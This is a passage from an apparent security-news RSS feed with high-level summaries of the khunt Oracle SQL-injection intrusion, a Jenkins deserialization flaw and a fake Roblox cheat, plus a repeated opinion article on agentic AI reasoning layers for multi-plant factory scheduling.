<p class="wp-block-paragraph"><br><strong><br></strong>While the SQL injection pathway provided the initial foothold, Huntress argues that the more important lesson lies in what happened after exploitation.</p>



<p class="wp-block-paragraph">The attackers could have simply extracted or manipulated data through SQL injection, but instead, they expanded the exploit to include long-term persistence and remote command execution. Huntress warned that this is a dangerous evolution.</p>



<p class="wp-block-paragraph">Features such as Oracle’s embedded JVM, while valuable for enterprise workloads, can also expand the blast radius with sufficient database privileges. “To avoid these types of attacks, it is important to ensure the forms aren’t injectable,” the researchers said. “It’s also important to ensure that users with the ability to execute queries aren’t overprovisioned.”</p>



<p class="wp-block-paragraph">Huntress recommended looking beyond indicators of SQL injection during incident response. Examining Oracle environments for unexpected Java source objects, compiled Java classes, and stored procedures could indicate abuse of the embedded Java Virtual Machine, it said. The firm also shared indicators of compromise (IOCs), including file hashes, malicious Java artifacts, SQL statements, and search terms to help defenders identify affected systems.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Khunt-Toolkit: SQL-Injection in Oracle führt zu SYSTEM-Codeausführung]]></title>
<description><![CDATA[LONDON (IT BOLTWISE) – Angreifer nutzten eine SQL-Injection in einer public-facing Oracle-Anwendung, um über Java-Objekte im Datenbank-Engine-Kontext SYSTEM-Kommandos auszuführen. Dabei setzten sie kein binäres Dropper-Executable auf dem Dateisystem ein, sondern ließen Oracle Java Source in gespe...]]></description>
<link>https://tsecurity.de/de/3708063/it-security-nachrichten/khunt-toolkit-sql-injection-in-oracle-fuehrt-zu-system-codeausfuehrung/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3708063/it-security-nachrichten/khunt-toolkit-sql-injection-in-oracle-fuehrt-zu-system-codeausfuehrung/</guid>
<pubDate>Thu, 06 Aug 2026 14:11:56 +0200</pubDate>
<content:encoded><![CDATA[<p><img width="1024" height="1024" src="https://www.it-boltwise.de/wp-content/uploads/2026/08/ai-khunt-toolkit-oracle-system-access.jpg" class="attachment- size- wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://www.it-boltwise.de/wp-content/uploads/2026/08/ai-khunt-toolkit-oracle-system-access.jpg 1024w, https://www.it-boltwise.de/wp-content/uploads/2026/08/ai-khunt-toolkit-oracle-system-access-300x300.jpg 300w, https://www.it-boltwise.de/wp-content/uploads/2026/08/ai-khunt-toolkit-oracle-system-access-150x150.jpg 150w, https://www.it-boltwise.de/wp-content/uploads/2026/08/ai-khunt-toolkit-oracle-system-access-768x768.jpg 768w, https://www.it-boltwise.de/wp-content/uploads/2026/08/ai-khunt-toolkit-oracle-system-access-840x840.jpg 840w, https://www.it-boltwise.de/wp-content/uploads/2026/08/ai-khunt-toolkit-oracle-system-access-120x120.jpg 120w" sizes="(max-width: 1024px) 100vw, 1024px">LONDON (IT BOLTWISE) – Angreifer nutzten eine SQL-Injection in einer public-facing Oracle-Anwendung, um über Java-Objekte im Datenbank-Engine-Kontext SYSTEM-Kommandos auszuführen. Dabei setzten sie kein binäres Dropper-Executable auf dem Dateisystem ein, sondern ließen Oracle Java Source in gespeicherte Schema-Objekte kompilieren und daraus Befehle starten. Huntress ordnet das Toolkit unter dem Namen khunt ein und verband die Taten […]</p>
<div><a href="https://www.it-boltwise.de/khunt-toolkit-sql-injection-in-oracle-fuehrt-zu-system-codeausfuehrung.html">... den vollständigen Artikel <strong>»Khunt-Toolkit: SQL-Injection in Oracle führt zu SYSTEM-Codeausführung«</strong> lesen</a></div>
<p>Dieser Beitrag <a href="https://www.it-boltwise.de/khunt-toolkit-sql-injection-in-oracle-fuehrt-zu-system-codeausfuehrung.html">Khunt-Toolkit: SQL-Injection in Oracle führt zu SYSTEM-Codeausführung</a> erschien als erstes auf <a href="https://www.it-boltwise.de/">IT BOLTWISE x Artificial Intelligence</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[15 Advanced MySQL Database Interview Questions and Answers]]></title>
<description><![CDATA[The post 15 Advanced MySQL Database Interview Questions and Answers first appeared on Tecmint: Linux Howtos, Tutorials & Guides .Much of the MySQL interview prep you’ll find online is based on outdated versions that reached end-of-life years ago. If
The post 15 Advanced MySQL Database Interview Q...]]></description>
<link>https://tsecurity.de/de/3707993/unix-server/15-advanced-mysql-database-interview-questions-and-answers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3707993/unix-server/15-advanced-mysql-database-interview-questions-and-answers/</guid>
<pubDate>Thu, 06 Aug 2026 13:54:05 +0200</pubDate>
<content:encoded><![CDATA[The post <a href="https://www.tecmint.com/mysql-advance-interview-questions/">15 Advanced MySQL Database Interview Questions and Answers</a> first appeared on <a href="https://www.tecmint.com/">Tecmint: Linux Howtos, Tutorials &amp; Guides</a> .<p>Much of the MySQL interview prep you’ll find online is based on outdated versions that reached end-of-life years ago. If</p>
The post <a href="https://www.tecmint.com/mysql-advance-interview-questions/">15 Advanced MySQL Database Interview Questions and Answers</a> first appeared on <a href="https://www.tecmint.com/">Tecmint: Linux Howtos, Tutorials &amp; Guides</a>.]]></content:encoded>
</item>
<item>
<title><![CDATA[Critical Jenkins Deserialization Flaw Allows Attackers to Execute Code on Controllers]]></title>
<description><![CDATA[A critical vulnerability in Jenkins, tracked as CVE-2026-70426, may allow attackers to execute arbitrary code on Jenkins controllers by bypassing deserialization protections within the platform’s Remoting library. This flaw, identified as SECURITY-3911, affects Jenkins environments where agents c...]]></description>
<link>https://tsecurity.de/de/3707982/it-security-nachrichten/critical-jenkins-deserialization-flaw-allows-attackers-to-execute-code-on-controllers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3707982/it-security-nachrichten/critical-jenkins-deserialization-flaw-allows-attackers-to-execute-code-on-controllers/</guid>
<pubDate>Thu, 06 Aug 2026 13:35:23 +0200</pubDate>
<content:encoded><![CDATA[<p>A critical vulnerability in Jenkins, tracked as CVE-2026-70426, may allow attackers to execute arbitrary code on Jenkins controllers by bypassing deserialization protections within the platform’s Remoting library. This flaw, identified as SECURITY-3911, affects Jenkins environments where agents communicate with controllers via serialized Java objects over Remoting, typically deployed as agent.jar or remoting.jar. The Java serialization […]</p>
<p>The post <a href="https://gbhackers.com/critical-jenkins-deserialization-flaw/">Critical Jenkins Deserialization Flaw Allows Attackers to Execute Code on Controllers</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Oracle-Datenbanken: Hacker nutzen SQL-Injection für Windows-Zugriff - Börse Express]]></title>
<description><![CDATA[Cyberkriminelle nutzen SQL-Injection in Java-Webanwendungen, um über Oracle-Datenbanken Windows-Systeme zu übernehmen und Zugangsdaten zu stehlen.]]></description>
<link>https://tsecurity.de/de/3707772/hacking/oracle-datenbanken-hacker-nutzen-sql-injection-fuer-windows-zugriff-boerse-express/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3707772/hacking/oracle-datenbanken-hacker-nutzen-sql-injection-fuer-windows-zugriff-boerse-express/</guid>
<pubDate>Thu, 06 Aug 2026 13:07:09 +0200</pubDate>
<content:encoded><![CDATA[Cyberkriminelle nutzen SQL-Injection in Java-Webanwendungen, um über Oracle-Datenbanken Windows-Systeme zu übernehmen und Zugangsdaten zu stehlen.]]></content:encoded>
</item>
<item>
<title><![CDATA[Fake Roblox Cheat Streams Victims’ Desktops Every 500 Milliseconds]]></title>
<description><![CDATA[A malicious campaign is targeting Roblox players with a fake “undetected” version of the Xeno script executor. Promoted through gaming forums and Discord communities, the installer appears to offer cheat features but instead delivers a Java-based information stealer and remote access trojan. Rese...]]></description>
<link>https://tsecurity.de/de/3707727/it-security-nachrichten/fake-roblox-cheat-streams-victims-desktops-every-500-milliseconds/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3707727/it-security-nachrichten/fake-roblox-cheat-streams-victims-desktops-every-500-milliseconds/</guid>
<pubDate>Thu, 06 Aug 2026 13:01:27 +0200</pubDate>
<content:encoded><![CDATA[<p>A malicious campaign is targeting Roblox players with a fake “undetected” version of the Xeno script executor. Promoted through gaming forums and Discord communities, the installer appears to offer cheat features but instead delivers a Java-based information stealer and remote access trojan. Researchers found that the malware can capture screenshots every 500 milliseconds and send […]</p>
<p>The post <a href="https://cyberpress.org/fake-roblox-cheats-stream-desktops/">Fake Roblox Cheat Streams Victims’ Desktops Every 500 Milliseconds</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Browser security is where software, data, and AI meet]]></title>
<description><![CDATA[In this interview with Help Net Security, Rui Ribeiro, CEO of Jscrambler, explains why the browser has become a security problem organizations do not control. Companies do not own the device, the extensions, or the network path, yet that is where application logic, third-party code, customer data...]]></description>
<link>https://tsecurity.de/de/3707692/it-security-nachrichten/browser-security-is-where-software-data-and-ai-meet/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3707692/it-security-nachrichten/browser-security-is-where-software-data-and-ai-meet/</guid>
<pubDate>Thu, 06 Aug 2026 12:51:54 +0200</pubDate>
<content:encoded><![CDATA[<p>In this interview with Help Net Security, Rui Ribeiro, CEO of Jscrambler, explains why the browser has become a security problem organizations do not control. Companies do not own the device, the extensions, or the network path, yet that is where application logic, third-party code, customer data, and AI meet during every customer interaction. He discusses the limits of Content Security Policy and Subresource Integrity, the risks of third-party AI chat scripts running with the … <a href="https://www.helpnetsecurity.com/2026/08/06/rui-ribeiro-jscrambler-browser-security/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/08/06/rui-ribeiro-jscrambler-browser-security/">Browser security is where software, data, and AI meet</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Algorithms aren’t enough: Why factories need an AI reasoning layer]]></title>
<description><![CDATA[The scheduling fallacy and the shift to autonomy



Walk onto almost any manufacturing shop floor, and you will witness the same systemic vulnerability: a brilliantly engineered, multi-million-dollar Advanced Planning and Scheduling (APS) system rendered completely useless by a single delayed del...]]></description>
<link>https://tsecurity.de/de/3707683/it-security-nachrichten/algorithms-arent-enough-why-factories-need-an-ai-reasoning-layer/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3707683/it-security-nachrichten/algorithms-arent-enough-why-factories-need-an-ai-reasoning-layer/</guid>
<pubDate>Thu, 06 Aug 2026 12:51:45 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<h2 class="wp-block-heading">The scheduling fallacy and the shift to autonomy</h2>



<p class="wp-block-paragraph">Walk onto almost any manufacturing shop floor, and you will witness the same systemic vulnerability: a brilliantly engineered, multi-million-dollar Advanced Planning and Scheduling (APS) system rendered completely useless by a single delayed delivery truck, an unexpected machine drift or a sudden workforce shortage. Industrial operations do not happen in a sterile room; the moment a perfect plan hits the messy reality of the physical shop floor, real-world variables inevitably shatter it.</p>



<p class="wp-block-paragraph">This is the scenario (or challenge) that I have been navigating over the past few months and is likely to keep me occupied for the remainder of the year. I began this project believing the scheduling engine was the problem. After months of experimentation, including trying to make LLMs perform optimization, I realized I was solving the wrong problem. The realization that dawned on me was that it wasn’t about a better algorithm; it was about separating mathematical optimization from operational reasoning.</p>



<p class="wp-block-paragraph">According to the <a href="https://www.bassetti-group.com/en/manufacturing-gartner-2026-ai/">2026 Gartner Manufacturing Predicts report</a>, factory orchestration is moving rapidly toward a “double helix” model where software-defined enterprise data intricately intertwines with autonomous production orchestration. Gartner also projects that 40% of enterprise applications will feature integrated, task-specific AI agents by the end of 2026 — a massive leap from less than 5% in 2025. For technology leaders, the mandate is clear.</p>



<h2 class="wp-block-heading">Deconstructing the “reasoning layer”</h2>



<p class="wp-block-paragraph">Let’s first demystify what a “Reasoning Layer” is and what it is not. It is not a Generative AI nor is it a glorified Robotic Process Automation (RPA) script executing static, hardcoded logic. Instead, the Reasoning Layer is a cognitive overlay powered by foundation models. These models have been fine-tuned on operational ontologies, enterprise supply chain strategies and real-time shop-floor data streams. Pretty much everything that happens in your organization and, in many cases, outside as well, as some decisions are impacted by the prevailing external situation.</p>



<p class="wp-block-paragraph">A reasoning layer continuously answers a complex question: Given this specific disruption, what is the optimal business choice right now?</p>



<h2 class="wp-block-heading">The dual-engine architecture: Math meets cognition</h2>



<p class="wp-block-paragraph">A common pitfall has been to expect an LLM to handle both. That was the blunder I committed was to assume that a sufficiently trained LLM can get the job done.</p>



<p class="wp-block-paragraph">The true breakthrough in designing a production-grade scheduling application lies in pairing semantic intelligence with raw mathematical muscle.</p>



<p class="wp-block-paragraph">To solve this, what I discovered was that you need to split it into two layers. A number-crunching mathematical layer and a qualitative layer. Both working in sync.  </p>



<ol start="1" class="wp-block-list">
<li><strong>The quantitative engine:</strong> Global pathfinding, sequence optimization and multi-plant capacity balancing are treated as a highly complex routing problem. Ant Colony Optimization (ACO) algorithm, for example, excels here. It can navigate massive combinatorial data spaces to find optimal/near-optimal scheduling sequences across interdependent lines. A word of caution though: This requires good quality data and lots of it.</li>



<li><strong>The qualitative brain (agentic AI):</strong> The AI agent serves as the dynamic coordinator. It monitors the operational environment for live telemetry anomalies (such as machine cycle-time drifts or supply chain delays). When an anomaly occurs, the agent evaluates the business impact. Determines whether a re-optimization is required and crucially rewrites the constraints and boundary conditions before triggering the ACO engine.</li>
</ol>



<p class="wp-block-paragraph">By using the Agentic Layer to bound the mathematical problem, the system avoids the fatal flaw of traditional advanced planning tools: completely rewriting a global schedule over a minor local exception.</p>



<h2 class="wp-block-heading">The multi-plant orchestration paradox</h2>



<p class="wp-block-paragraph">When a manufacturing organization expands from a single facility to a distributed, multi-plant network, operational complexity does not scale linearly — it scales exponentially. In theory, a multi-plant footprint should provide an enterprise with built-in resilience, giving leadership the flexibility to shift production loads when disruptions strike. Most manufacturing organizations suffer from the multi-plant orchestration paradox: they possess massive regional capacity but are structurally blind to how to leverage it dynamically.</p>



<p class="wp-block-paragraph">The root cause of this paradox is the historical legacy corporate silo. If a plant in Chennai faces a sudden logistics bottleneck or a critical machine breakdown, its local team scrambles in isolation. Meanwhile, a sister plant in Pune operates completely unaware that it possesses the excess capacity, specific tooling or material buffers required to absorb the overflow.</p>



<p class="wp-block-paragraph">By the time information filters up to corporate logistics and decisions are taken, you would have lost precious capacity and time.</p>



<h2 class="wp-block-heading">Enter MAGS: The rise of agent-to-agent collaboration</h2>



<p class="wp-block-paragraph">To shatter these corporate silos, the reasoning layer must expand past local optimizations and facilitate cross-facility orchestration. This shift is driven by a distinct architectural evolution: Multi-agent generative systems (MAGS). <a href="https://www.gartner.com/en/articles/multiagent-systems">Gartner highlights</a> the rapid acceleration of this trend, predicting that by 2027, one-third of all agentic AI implementations will focus heavily on autonomous agent-to-agent collaboration.</p>



<p class="wp-block-paragraph">In a MAGS framework, the scheduling agents of individual plants do not operate in a vacuum. Instead, they form an interconnected, distributed network capable of autonomous negotiation. The architectural flow of this cross-facility negotiation occurs across three distinct phases:</p>



<ul class="wp-block-list">
<li><strong>Perception:</strong> Local plant agents continuously ingest live IIoT telemetry, tracking real-time machine interdependencies, resource pooling variances and material transit times across physical transport lanes.</li>



<li><strong>Interpretation:</strong> When an anomaly occurs, the local agent instantly evaluates the disruption against localized business constraints.</li>



<li><strong>Negotiation:</strong> Rather than escalating every minor bottleneck to a human director, Plant A’s scheduling agent connects directly to Plant B’s agent over the secure network. The agents cross-negotiate load-balancing options, evaluate transportation lead times and run localized optimization calculations in parallel.</li>
</ul>



<p class="wp-block-paragraph">Instead of forcing supply chain teams to manually bridge data gaps during a crisis, the system bypasses legacy functional silos. It presents the COO’s operations team with a pre-validated, end-to-end scheduling solution.</p>



<h2 class="wp-block-heading">Real-world applications: Grounding autonomy in industrial reality</h2>



<p class="wp-block-paragraph">To understand how this functions in the real world, we must look beyond theoretical multi-agent frameworks and examine how this architecture operates within live factories. The following two case studies—drawn from highly documented, peer-reviewed industrial implementations — demonstrate how multi-agent generative systems (MAGS) actively protect margins and timelines when unexpected disruptions strike.</p>



<h3 class="wp-block-heading">Case study 1: The discrete architecture (The Festo cyber-physical agent framework)</h3>



<ul class="wp-block-list">
<li><strong>The context:</strong> This architecture is modeled after the landmark decentralized orchestration frameworks deployed at Festo’s Scharnhausen Technology Plant. Instead of relying on a centralized ERP/MES brain to dictate every move, the facility utilizes cyber-physical systems (CPS) where the physical components and machines operate as an interconnected multi-agent system (MAS).</li>



<li><strong>The disruption:</strong> During a high-volume discrete run of automation components, a critical machining center suffering an unexpected tooling failure, in a traditional centralized setup, would have triggered a cascade of line stoppages.</li>



<li><strong>The intervention:</strong> The affected machine’s resource agent instantly broadcasts its downtime status across the network. The task agents ingest the anomaly and independently query neighboring machining cells. The setup utilizes an underlying ACO routing routine to calculate the most efficient physical path through alternative, under-utilized cells. The Task Agents actively barter for open capacity with these alternative resource agents, dynamically adjusting their own operational sequences.</li>
</ul>



<h3 class="wp-block-heading">Case study 2: The process pivot (The TU Dresden battery manufacturing framework)</h3>



<ul class="wp-block-list">
<li><strong>The context:</strong> This case is drawn directly from a multi-layer agent-based framework engineered for a European lead-acid battery manufacturer in coordination with researchers at TU Dresden. The environment features 31 highly energy-intensive heat-treatment and curing chambers, where localized utility tariff volatility drastically impacts production margins. Continuous chemical process lines cannot simply be shut down without massive material waste and lengthy restart sequences.</li>



<li><strong>The disruption:</strong> A sudden, localized weather event triggers an unpredicted spike in peak-load electricity pricing, threatening to entirely erase the profit margin on a high-volume production run.</li>



<li><strong>The intervention:</strong> To solve this, the plant utilized a multi-layer agent-based framework. An energy-monitoring agent tracking live utility tariff feeds communicated the financial threat directly to the production scheduling agent. Instead of a crude emergency halt, the reasoning layer queried the facility’s computerized maintenance management system (CMMS). The agentic layer identified a mandatory 4-hour preventative maintenance window scheduled for three days later. The agent made an executive operational decision: it pulled that maintenance window forward to occur <em>during</em> the exact hours of peak utility pricing, converting an expensive tariff penalty into required downtime. Simultaneously, lower-level agents representing the individual curing chambers and material pallets recalculated local constraints, instructing the optimization engine to compress and accelerate subsequent production batches during the cheaper, off-peak night shifts.</li>
</ul>



<h3 class="wp-block-heading">The business outcome</h3>



<p class="wp-block-paragraph">In both cases, the agents optimized an operational pivot, and optimally utilised production capacity in the former and saved precious cash in the latter.</p>



<h2 class="wp-block-heading">Governance, trust and the “human-in-the-loop” guardrails</h2>



<p class="wp-block-paragraph">All that seems great and seems like science fiction; it inevitably raises a critical, polarizing question for the C-suite: If the algorithms are making multi-thousand-dollar operational choices in real time, how do we maintain control?</p>



<p class="wp-block-paragraph">The solution to this executive anxiety is a framework defined as “autonomy within boundaries,” executed through policy-as-code. Under this model, operational leaders stop managing the volatility of daily schedules. Instead, they focus on creating and managing policy boundaries within which the agents are permitted to negotiate and self-heal.</p>



<p class="wp-block-paragraph">This splits operational exceptions into 2 zones:</p>



<ul class="wp-block-list">
<li><strong>Autonomous execution zone:</strong> The multi-agent system has full authority to re-sequence lines, re-route components or shift maintenance windows autonomously, provided the financial &amp; operational impact is under a predefined limit.  </li>



<li><strong>Expert advisory zone:</strong> The moment a proposed optimization breaches either of these metrics, the agent pushes it to an executive dashboard for immediate human intervention, validation and approval.</li>
</ul>



<p class="wp-block-paragraph">This dual-layer approach introduces a reliable operational framework to industrial manufacturing: leadership manages strategic intent, while tactical units manage real-time execution.</p>



<p class="wp-block-paragraph">By establishing clear thresholds, the fear of an algorithmic “runaway train” is entirely mitigated. However, deploying a complete multi-agent governance framework across an entire enterprise footprint cannot happen overnight.</p>



<p class="wp-block-paragraph">To move this from my serendipitous but compelling discovery to a live, risk-mitigated environment, I need a highly controlled, phased deployment strategy, an actionable roadmap to pilot, test and scale the reasoning layer without disrupting current production baselines.</p>



<p class="wp-block-paragraph">We often say Industry 4.0 connected machines. I believe Industry 5.0 will connect decisions. The factories that succeed will not simply automate workflows; they will build systems capable of reasoning within clearly defined operational boundaries.</p>



<p class="wp-block-paragraph">I am therefore not writing a conclusion here. I would probably be back in a few months writing about the outcome of this exercise. Somehow deep-down I suspect it would be less oriented to technology but how the change management progressed. I have a strong feeling that “…operational leaders stop managing the volatility of daily schedules. Instead, they focus on creating and managing policy boundaries …” would be the toughest part of this change.   </p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Attackers Compile khunt Inside Oracle to Turn SQL Injection Into Windows SYSTEM Access]]></title>
<description><![CDATA[Attackers broke into an organization's Oracle database through a SQL injection flaw in a public-facing web application, then installed a post-exploitation toolkit without writing an executable to disk. They fed Java source code to the database, let Oracle compile it into stored schema objects, an...]]></description>
<link>https://tsecurity.de/de/3707650/it-security-nachrichten/attackers-compile-khunt-inside-oracle-to-turn-sql-injection-into-windows-system-access/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3707650/it-security-nachrichten/attackers-compile-khunt-inside-oracle-to-turn-sql-injection-into-windows-system-access/</guid>
<pubDate>Thu, 06 Aug 2026 12:50:29 +0200</pubDate>
<content:encoded><![CDATA[Attackers broke into an organization's Oracle database through a SQL injection flaw in a public-facing web application, then installed a post-exploitation toolkit without writing an executable to disk. They fed Java source code to the database, let Oracle compile it into stored schema objects, and ran commands from inside the database engine.

Huntress, which tracks the toolkit as khunt,]]></content:encoded>
</item>
<item>
<title><![CDATA[Algorithms aren’t enough: Why factories need an AI reasoning layer]]></title>
<description><![CDATA[The scheduling fallacy and the shift to autonomy



Walk onto almost any manufacturing shop floor, and you will witness the same systemic vulnerability: a brilliantly engineered, multi-million-dollar Advanced Planning and Scheduling (APS) system rendered completely useless by a single delayed del...]]></description>
<link>https://tsecurity.de/de/3707630/it-nachrichten/algorithms-arent-enough-why-factories-need-an-ai-reasoning-layer/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3707630/it-nachrichten/algorithms-arent-enough-why-factories-need-an-ai-reasoning-layer/</guid>
<pubDate>Thu, 06 Aug 2026 12:50:21 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<h2 class="wp-block-heading">The scheduling fallacy and the shift to autonomy</h2>



<p class="wp-block-paragraph">Walk onto almost any manufacturing shop floor, and you will witness the same systemic vulnerability: a brilliantly engineered, multi-million-dollar Advanced Planning and Scheduling (APS) system rendered completely useless by a single delayed delivery truck, an unexpected machine drift or a sudden workforce shortage. Industrial operations do not happen in a sterile room; the moment a perfect plan hits the messy reality of the physical shop floor, real-world variables inevitably shatter it.</p>



<p class="wp-block-paragraph">This is the scenario (or challenge) that I have been navigating over the past few months and is likely to keep me occupied for the remainder of the year. I began this project believing the scheduling engine was the problem. After months of experimentation, including trying to make LLMs perform optimization, I realized I was solving the wrong problem. The realization that dawned on me was that it wasn’t about a better algorithm; it was about separating mathematical optimization from operational reasoning.</p>



<p class="wp-block-paragraph">According to the <a href="https://www.bassetti-group.com/en/manufacturing-gartner-2026-ai/">2026 Gartner Manufacturing Predicts report</a>, factory orchestration is moving rapidly toward a “double helix” model where software-defined enterprise data intricately intertwines with autonomous production orchestration. Gartner also projects that 40% of enterprise applications will feature integrated, task-specific AI agents by the end of 2026 — a massive leap from less than 5% in 2025. For technology leaders, the mandate is clear.</p>



<h2 class="wp-block-heading">Deconstructing the “reasoning layer”</h2>



<p class="wp-block-paragraph">Let’s first demystify what a “Reasoning Layer” is and what it is not. It is not a Generative AI nor is it a glorified Robotic Process Automation (RPA) script executing static, hardcoded logic. Instead, the Reasoning Layer is a cognitive overlay powered by foundation models. These models have been fine-tuned on operational ontologies, enterprise supply chain strategies and real-time shop-floor data streams. Pretty much everything that happens in your organization and, in many cases, outside as well, as some decisions are impacted by the prevailing external situation.</p>



<p class="wp-block-paragraph">A reasoning layer continuously answers a complex question: Given this specific disruption, what is the optimal business choice right now?</p>



<h2 class="wp-block-heading">The dual-engine architecture: Math meets cognition</h2>



<p class="wp-block-paragraph">A common pitfall has been to expect an LLM to handle both. That was the blunder I committed was to assume that a sufficiently trained LLM can get the job done.</p>



<p class="wp-block-paragraph">The true breakthrough in designing a production-grade scheduling application lies in pairing semantic intelligence with raw mathematical muscle.</p>



<p class="wp-block-paragraph">To solve this, what I discovered was that you need to split it into two layers. A number-crunching mathematical layer and a qualitative layer. Both working in sync.  </p>



<ol start="1" class="wp-block-list">
<li><strong>The quantitative engine:</strong> Global pathfinding, sequence optimization and multi-plant capacity balancing are treated as a highly complex routing problem. Ant Colony Optimization (ACO) algorithm, for example, excels here. It can navigate massive combinatorial data spaces to find optimal/near-optimal scheduling sequences across interdependent lines. A word of caution though: This requires good quality data and lots of it.</li>



<li><strong>The qualitative brain (agentic AI):</strong> The AI agent serves as the dynamic coordinator. It monitors the operational environment for live telemetry anomalies (such as machine cycle-time drifts or supply chain delays). When an anomaly occurs, the agent evaluates the business impact. Determines whether a re-optimization is required and crucially rewrites the constraints and boundary conditions before triggering the ACO engine.</li>
</ol>



<p class="wp-block-paragraph">By using the Agentic Layer to bound the mathematical problem, the system avoids the fatal flaw of traditional advanced planning tools: completely rewriting a global schedule over a minor local exception.</p>



<h2 class="wp-block-heading">The multi-plant orchestration paradox</h2>



<p class="wp-block-paragraph">When a manufacturing organization expands from a single facility to a distributed, multi-plant network, operational complexity does not scale linearly — it scales exponentially. In theory, a multi-plant footprint should provide an enterprise with built-in resilience, giving leadership the flexibility to shift production loads when disruptions strike. Most manufacturing organizations suffer from the multi-plant orchestration paradox: they possess massive regional capacity but are structurally blind to how to leverage it dynamically.</p>



<p class="wp-block-paragraph">The root cause of this paradox is the historical legacy corporate silo. If a plant in Chennai faces a sudden logistics bottleneck or a critical machine breakdown, its local team scrambles in isolation. Meanwhile, a sister plant in Pune operates completely unaware that it possesses the excess capacity, specific tooling or material buffers required to absorb the overflow.</p>



<p class="wp-block-paragraph">By the time information filters up to corporate logistics and decisions are taken, you would have lost precious capacity and time.</p>



<h2 class="wp-block-heading">Enter MAGS: The rise of agent-to-agent collaboration</h2>



<p class="wp-block-paragraph">To shatter these corporate silos, the reasoning layer must expand past local optimizations and facilitate cross-facility orchestration. This shift is driven by a distinct architectural evolution: Multi-agent generative systems (MAGS). <a href="https://www.gartner.com/en/articles/multiagent-systems">Gartner highlights</a> the rapid acceleration of this trend, predicting that by 2027, one-third of all agentic AI implementations will focus heavily on autonomous agent-to-agent collaboration.</p>



<p class="wp-block-paragraph">In a MAGS framework, the scheduling agents of individual plants do not operate in a vacuum. Instead, they form an interconnected, distributed network capable of autonomous negotiation. The architectural flow of this cross-facility negotiation occurs across three distinct phases:</p>



<ul class="wp-block-list">
<li><strong>Perception:</strong> Local plant agents continuously ingest live IIoT telemetry, tracking real-time machine interdependencies, resource pooling variances and material transit times across physical transport lanes.</li>



<li><strong>Interpretation:</strong> When an anomaly occurs, the local agent instantly evaluates the disruption against localized business constraints.</li>



<li><strong>Negotiation:</strong> Rather than escalating every minor bottleneck to a human director, Plant A’s scheduling agent connects directly to Plant B’s agent over the secure network. The agents cross-negotiate load-balancing options, evaluate transportation lead times and run localized optimization calculations in parallel.</li>
</ul>



<p class="wp-block-paragraph">Instead of forcing supply chain teams to manually bridge data gaps during a crisis, the system bypasses legacy functional silos. It presents the COO’s operations team with a pre-validated, end-to-end scheduling solution.</p>



<h2 class="wp-block-heading">Real-world applications: Grounding autonomy in industrial reality</h2>



<p class="wp-block-paragraph">To understand how this functions in the real world, we must look beyond theoretical multi-agent frameworks and examine how this architecture operates within live factories. The following two case studies—drawn from highly documented, peer-reviewed industrial implementations — demonstrate how multi-agent generative systems (MAGS) actively protect margins and timelines when unexpected disruptions strike.</p>



<h3 class="wp-block-heading">Case study 1: The discrete architecture (The Festo cyber-physical agent framework)</h3>



<ul class="wp-block-list">
<li><strong>The context:</strong> This architecture is modeled after the landmark decentralized orchestration frameworks deployed at Festo’s Scharnhausen Technology Plant. Instead of relying on a centralized ERP/MES brain to dictate every move, the facility utilizes cyber-physical systems (CPS) where the physical components and machines operate as an interconnected multi-agent system (MAS).</li>



<li><strong>The disruption:</strong> During a high-volume discrete run of automation components, a critical machining center suffering an unexpected tooling failure, in a traditional centralized setup, would have triggered a cascade of line stoppages.</li>



<li><strong>The intervention:</strong> The affected machine’s resource agent instantly broadcasts its downtime status across the network. The task agents ingest the anomaly and independently query neighboring machining cells. The setup utilizes an underlying ACO routing routine to calculate the most efficient physical path through alternative, under-utilized cells. The Task Agents actively barter for open capacity with these alternative resource agents, dynamically adjusting their own operational sequences.</li>
</ul>



<h3 class="wp-block-heading">Case study 2: The process pivot (The TU Dresden battery manufacturing framework)</h3>



<ul class="wp-block-list">
<li><strong>The context:</strong> This case is drawn directly from a multi-layer agent-based framework engineered for a European lead-acid battery manufacturer in coordination with researchers at TU Dresden. The environment features 31 highly energy-intensive heat-treatment and curing chambers, where localized utility tariff volatility drastically impacts production margins. Continuous chemical process lines cannot simply be shut down without massive material waste and lengthy restart sequences.</li>



<li><strong>The disruption:</strong> A sudden, localized weather event triggers an unpredicted spike in peak-load electricity pricing, threatening to entirely erase the profit margin on a high-volume production run.</li>



